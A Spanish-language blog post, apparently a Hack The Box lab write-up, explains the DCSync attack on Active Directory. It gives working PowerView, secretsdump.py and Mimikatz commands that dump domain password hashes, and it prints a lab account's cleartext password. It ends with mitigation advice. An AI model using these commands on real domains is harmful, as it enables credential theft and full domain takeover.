DCSync cómo funciona, riesgos y detección

💀 DCSync: La Replicación Maliciosa que Desangra Active Directory

Introducción: Contexto de Compromiso en Active Directory

Esta publicación profundiza en el ataque DCSync, una técnica crítica y altamente efectiva utilizada para lograr la completa persistencia y escalada de privilegios dentro de un dominio de Active Directory (AD). Este artículo es educativo / solo para entornos de prueba

En el contexto de nuestro laboratorio (Hack The Box Academy), asumimos que ya tenemos control sobre una cuenta de bajo privilegio (adunn) que, debido a una mala configuración de permisos, posee los derechos necesarios para ejecutar este ataque devastador.

¿Qué es el Ataque DCSync y Cómo se Ejecuta?

DCSync no es una vulnerabilidad, sino el abuso de un mecanismo legítimo de AD: el Directory Replication Service Remote Protocol.

1. El Mecanismo de Abuso

Un Controlador de Dominio (DC) utiliza el protocolo de replicación para sincronizar la base de datos de Active Directory (el archivo NTDS.dit) con otros DCs. El ataque DCSync consiste en lo siguiente:

• Imitación de DC: El atacante simula ser otro Controlador de Dominio.
• Solicitud de Replicación: Se envía una solicitud a un DC real para que “replique” los datos sensibles de la base de datos, incluyendo los hashes de contraseñas NTLM de todos los usuarios.
• Derecho Crítico: La clave de este ataque reside en el derecho extendido de control de acceso: DS-Replication-Get-Changes-All. Cualquier cuenta con este permiso puede solicitar la replicación de datos secretos.

1. Requisitos de Privilegio

Por defecto, solo los grupos de Domain Admins, Enterprise Admins y la cuenta KRBTGT (entre otros) poseen los derechos de replicación. Sin embargo, en entornos empresariales mal configurados, es común encontrar estos derechos delegados a cuentas de usuario estándar o de servicio, como es el caso de la cuenta adunn en nuestro escenario.

Verificación de Permisos con PowerView

Paso 1: Obtener Información y SID del Usuario

El Security Identifier (SID) del usuario es clave, ya que los permisos de AD se asocian a este identificador.

Get-DomainUser -Identity adunn | select samaccountname,objectsid,memberof,useraccountcontrol | fl

Recupera el objeto del usuario adunn y muestra sus propiedades clave en formato de lista, incluyendo el objectsid (SID)

Paso 2: Chequeo de Derechos de Replicación (DCSync)

Buscamos las entradas de Control de Acceso (ACEs) que otorgan derechos de replicación al SID de nuestro usuario en el objeto raíz del dominio.

$sid= "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

El resultado confirma que la cuenta adunn tiene los derechos DS-Replication-Get-Changes y DS-Replication-Get-Changes-All

Explotación: Extracción de Hashes

El ataque DCSync se puede llevar a cabo con varias herramientas, siendo las más populares Impacket’s secretsdump.py (Linux) y Mimikatz (Windows).

Opción 1: secretsdump.py (Linux/Impacket)

secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5

Ejecuta el ataque DCSync, imitando a un DC. -just-dc indica que se deben volcar todos los hashes NTLM y las claves Kerberos del archivo NTDS.dit del DC (IP: 172.16.5.5) y guardarlos con el prefijo inlanefreight_hashes

Hashes y Contraseñas en Claro (Cleartext)

Tras la ejecución, se generan tres archivos:

1. inlanefreight_hashes.ntds: Contiene todos los hashes NTLM.
2. inlanefreight_hashes.ntds.kerberos: Contiene las claves Kerberos.
3. inlanefreight_hashes.ntds.cleartext: Contraseñas en texto claro para cuentas con la opción “Store password using reversible encryption” habilitada.

El volcado muestra inmediatamente que la cuenta proxyagent tiene esta opción habilitada y su contraseña en claro: proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!

Otros flags útiles para DCSync con secretsdump.py son:

• -just-dc-ntlm: Extrae solo los hashes NTLM.
• -just-dc-user <USERNAME>: Extrae datos solo para un usuario específico.
• -pwd-last-set: Muestra la fecha del último cambio de contraseña.
• -history: Descarga el historial de contraseñas (hashes de contraseñas anteriores).
• -user-status: Útil para ver si un usuario está deshabilitado.

Opción 2: Mimikatz (Windows)

Paso 1: Ejecutar Mimikatz con Credenciales de adunn

runas /netonly /user:INLANEFREIGHT\adunn powershell

Abre una nueva consola de PowerShell con las credenciales de adunn

Paso 2: Obtener Hash de un Usuario Específico

mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\syncron

Cuentas con Cifrado Reversible de Contraseña

Algunas cuentas pueden tener la opción Store password using reversible encryption (a.k.a. ENCRYPTED_TEXT_PWD_ALLOWED). Eso no significa “contraseña en texto claro en la BD” exactamente: son almacenadas con una forma de cifrado (RC4/RC4-like) que puede ser revertida si tienes acceso a las claves del DC (PEK/Syskey). Herramientas como secretsdump.py detectan esas entradas y las decodifican, mostrando proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT! en el *.cleartext si la cuenta está configurada así. Resultado: si existe esa opción, en el volcado obtendrás la contraseña en claro para ese usuario.

Puedes encontrar estas cuentas en PowerShell usando:

Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | select samaccountname,useraccountcontrol

Resultado de DCSync: El volcado de secretsdump.py muestra la contraseña en claro para la cuenta proxyagent : proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!

fz3d@htb[/htb]$ cat inlanefreight_hashes.ntds.cleartext 
proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!

Conclusion

DCSync no es una vulnerabilidad mágica: es el abuso de un mecanismo legítimo. La mitigación real no es “bloquear Mimikatz” — es ordenar los permisos del dominio, auditar ACLs, eliminar configuraciones inseguras (reversible encryption) y monitorear activamente solicitudes de replicación fuera de lo esperado. Para pentesters: documenta, prueba en laboratorio y evita volcar información real salvo que tengas autorización explícita. Para defensores: prioriza la revisión de ACEs sobre el objeto raíz del dominio y alerta si cuentas no-DC solicitan replicación.